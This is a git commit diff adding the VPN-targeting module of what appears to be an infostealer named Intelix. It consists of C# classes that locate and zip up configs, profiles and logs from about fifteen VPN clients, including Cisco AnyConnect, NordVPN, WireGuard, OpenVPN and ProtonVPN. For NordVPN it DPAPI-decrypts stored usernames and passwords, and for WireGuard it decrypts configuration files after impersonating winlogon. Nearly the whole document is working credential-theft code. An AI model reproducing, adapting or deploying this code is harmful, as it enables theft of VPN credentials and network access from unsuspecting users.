initial commit
This commit is contained in:
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class Cisco : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "Cisco", "Cisco AnyConnect Secure Mobility Client", "Profile");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "Cisco";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Cisco AnyConnect";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class CyberGhost : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "CyberGhost");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "CyberGhost";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "CyberGhost";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class ExpressVPN : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "ExpressVPN");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "ExpressVPN";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "ExpressVPN";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class Hamachi : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "LogMeIn Hamachi");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "LogMeIn Hamachi";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "LogMeIn Hamachi";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Text.RegularExpressions;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class HideMyName : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\Program Files\\hidemy.name VPN 2.0";
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string text2 = "HideMyName";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "HideMyName";
|
||||
if (File.Exists(text + "\\HideMyName"))
|
||||
{
|
||||
zip.AddFile(text2 + "\\HideMyName", File.ReadAllBytes(text + "\\HideMyName"));
|
||||
counterApplications.Files.Add(text + "\\HideMyName => " + text2 + "\\HideMyName");
|
||||
}
|
||||
if (File.Exists(text + "\\log-app.txt"))
|
||||
{
|
||||
zip.AddFile(text2 + "\\log-app.txt", File.ReadAllBytes(text + "\\log-app.txt"));
|
||||
counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\log-app.txt");
|
||||
List<string> list = new List<string>();
|
||||
foreach (Match item in new Regex("code\\s+(\\d+)").Matches(File.ReadAllText(text + "\\log-app.txt")))
|
||||
{
|
||||
if (item.Success)
|
||||
{
|
||||
string value = item.Groups[1].Value;
|
||||
if (!list.Contains(value))
|
||||
{
|
||||
list.Add(value);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (list.Count() > 0)
|
||||
{
|
||||
zip.AddTextFile(text2 + "\\ActivatedCodes.txt", string.Join("\n", list));
|
||||
counterApplications.Files.Add(text + "\\log-app.txt => " + text2 + "\\ActivatedCodes.txt");
|
||||
}
|
||||
}
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class IpVanish : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "IPVanish", "Settings");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
string text2 = "IPVanish";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "IPVanish";
|
||||
zip.AddDirectoryFiles(text, text2);
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class MullVad : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\Program Files\\Mullvad VPN\\Configs\\Mullvad";
|
||||
if (File.Exists(text))
|
||||
{
|
||||
string text2 = "Mullvad";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Mullvad";
|
||||
zip.AddFile(Path.Combine(text2, Path.GetFileName(text)), File.ReadAllBytes(text));
|
||||
counterApplications.Files.Add(text + " => " + text2);
|
||||
counterApplications.Files.Add(text2);
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Xml;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class NordVpn : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
DirectoryInfo directoryInfo = new DirectoryInfo(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "NordVPN"));
|
||||
if (!directoryInfo.Exists)
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "NordVPN";
|
||||
try
|
||||
{
|
||||
DirectoryInfo[] directories = directoryInfo.GetDirectories("NordVpn.exe*");
|
||||
foreach (DirectoryInfo directoryInfo2 in directories)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
DirectoryInfo[] directories2 = directoryInfo2.GetDirectories();
|
||||
for (int j = 0; j < directories2.Length; j++)
|
||||
{
|
||||
string text = Path.Combine(directories2[j].FullName, "user.config");
|
||||
if (File.Exists(text))
|
||||
{
|
||||
XmlDocument xmlDocument = new XmlDocument();
|
||||
xmlDocument.Load(text);
|
||||
string text2 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Username']/value")?.InnerText);
|
||||
string text3 = Decode(xmlDocument.SelectSingleNode("//setting[@name='Password']/value")?.InnerText);
|
||||
if (!string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3))
|
||||
{
|
||||
list.Add("Username: " + text2 + "\nPassword: " + text3);
|
||||
}
|
||||
}
|
||||
}
|
||||
if (list.Count > 0)
|
||||
{
|
||||
string entryPath = Path.Combine("NordVPN", directoryInfo2.Name, "accounts.txt");
|
||||
counterApplications.Files.Add(directoryInfo2.FullName + " => NordVPN\\");
|
||||
counterApplications.Files.Add("NordVPN\\");
|
||||
zip.AddTextFile(entryPath, string.Join("\n\n", list));
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
counterApplications.Files.Add("NordVPN\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
|
||||
private static string Decode(string s)
|
||||
{
|
||||
return Encoding.UTF8.GetString(DpApi.Decrypt(Convert.FromBase64String(s))) ?? "";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class OpenVpn : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "OpenVPN Connect", "profiles");
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "OpenVPN";
|
||||
Parallel.ForEach(Directory.GetFiles(text), delegate(string file)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!(Path.GetExtension(file) != ".ovpn"))
|
||||
{
|
||||
string entryPath = "OpenVpn\\" + Path.GetFileName(file);
|
||||
zip.AddFile(entryPath, File.ReadAllBytes(file));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
counterApplications.Files.Add(text + " => OpenVpn");
|
||||
counterApplications.Files.Add("OpenVpn\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class PIAVPN : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData), "pia_manager");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "PIA";
|
||||
zip.AddDirectoryFiles(text, "PIAVPN");
|
||||
counterApplications.Files.Add(text + " => PIAVPN");
|
||||
counterApplications.Files.Add("PIAVPN\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class ProtonVpn : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN");
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "ProtonVPN";
|
||||
Parallel.ForEach(Directory.GetDirectories(text), delegate(string dir)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (dir.Contains("ProtonVPN_"))
|
||||
{
|
||||
Parallel.ForEach(Directory.GetDirectories(dir), delegate(string version)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path = Path.Combine(version, "user.config");
|
||||
if (File.Exists(path))
|
||||
{
|
||||
string entryPath = "ProtonVpn\\" + Path.GetFileName(version) + "\\user.config";
|
||||
zip.AddFile(entryPath, File.ReadAllBytes(path));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
counterApplications.Files.Add(text + " => ProtonVpn");
|
||||
counterApplications.Files.Add("ProtonVpn\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class Proxifier : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Proxifier4", "Profiles");
|
||||
if (Directory.Exists(text))
|
||||
{
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Proxifier";
|
||||
zip.AddDirectoryFiles(text, "Proxifier");
|
||||
counterApplications.Files.Add(text + " => Proxifier");
|
||||
counterApplications.Files.Add("Proxifier\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,45 @@
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Microsoft.Win32;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class RadminVPN : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
List<string> list = new List<string>();
|
||||
using (RegistryKey key = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN", writable: false))
|
||||
{
|
||||
list.AddRange(RegistryParser.ParseKey(key));
|
||||
}
|
||||
using (RegistryKey key2 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0", writable: false))
|
||||
{
|
||||
list.AddRange(RegistryParser.ParseKey(key2));
|
||||
}
|
||||
using (RegistryKey key3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall", writable: false))
|
||||
{
|
||||
list.AddRange(RegistryParser.ParseKey(key3));
|
||||
}
|
||||
using (RegistryKey key4 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy", writable: false))
|
||||
{
|
||||
list.AddRange(RegistryParser.ParseKey(key4));
|
||||
}
|
||||
if (list.Any())
|
||||
{
|
||||
string text = "RadminVPN\\Registry.txt";
|
||||
zip.AddTextFile(text, string.Join("\n", list));
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "RadminVPN";
|
||||
counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN => " + text);
|
||||
counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0 => " + text);
|
||||
counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Firewall => " + text);
|
||||
counterApplications.Files.Add("SOFTWARE\\WOW6432Node\\Famatech\\RadminVPN\\1.0\\Proxy => " + text);
|
||||
counterApplications.Files.Add(text);
|
||||
counterApplications.Files.Add("RadminVPN\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class SoftEther : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "SoftEther VPN Client");
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
string path = "SoftEther";
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "SoftEther VPN";
|
||||
string text2 = Path.Combine(text, "vpn_client.config");
|
||||
if (File.Exists(text2))
|
||||
{
|
||||
try
|
||||
{
|
||||
string text3 = Path.Combine("Vpn", path, "vpn_client.config");
|
||||
zip.AddFile(text3, File.ReadAllBytes(text2));
|
||||
counterApplications.Files.Add(text2 + " => " + text3);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
string[] files = Directory.GetFiles(text, "*.vpn", SearchOption.TopDirectoryOnly);
|
||||
foreach (string text4 in files)
|
||||
{
|
||||
try
|
||||
{
|
||||
string fileName = Path.GetFileName(text4);
|
||||
string text5 = Path.Combine("Vpn", path, fileName);
|
||||
zip.AddFile(text5, File.ReadAllBytes(text4));
|
||||
counterApplications.Files.Add(text4 + " => " + text5);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
if (counterApplications.Files.Count > 0)
|
||||
{
|
||||
counterApplications.Files.Add(Path.Combine("Vpn", path));
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using Intelix.Helper.Data;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class SurfShark : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Surfshark");
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "Surfshark";
|
||||
string[] array = new string[4] { "data.dat", "settings.dat", "settings-log.dat", "private_settings.dat" };
|
||||
foreach (string path in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
string path2 = Path.Combine(text, path);
|
||||
if (File.Exists(path2))
|
||||
{
|
||||
zip.AddFile(Path.Combine("Surfshark", path), File.ReadAllBytes(path2));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
counterApplications.Files.Add(text + " => Surfshark");
|
||||
counterApplications.Files.Add("Surfshark\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using Intelix.Helper;
|
||||
using Intelix.Helper.Data;
|
||||
using Intelix.Helper.Encrypted;
|
||||
|
||||
namespace Intelix.Targets.Vpn;
|
||||
|
||||
public class WireGuard : ITarget
|
||||
{
|
||||
public void Collect(InMemoryZip zip, Counter counter)
|
||||
{
|
||||
string text = "C:\\Program Files\\WireGuard\\Data\\Configurations";
|
||||
if (!Directory.Exists(text))
|
||||
{
|
||||
return;
|
||||
}
|
||||
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
||||
counterApplications.Name = "WireGuard";
|
||||
try
|
||||
{
|
||||
using (ImpersonationHelper.ImpersonateWinlogon())
|
||||
{
|
||||
Parallel.ForEach(Directory.GetFiles(text), delegate(string file)
|
||||
{
|
||||
try
|
||||
{
|
||||
string extension = Path.GetExtension(file);
|
||||
if (extension == ".dpapi")
|
||||
{
|
||||
byte[] content = DpApi.Decrypt(File.ReadAllBytes(file));
|
||||
zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file), content);
|
||||
}
|
||||
else if (extension == ".conf")
|
||||
{
|
||||
zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file) + ".conf", File.ReadAllBytes(file));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
counterApplications.Files.Add(text + " => WireGuard");
|
||||
counterApplications.Files.Add("WireGuard\\");
|
||||
counter.Vpns.Add(counterApplications);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user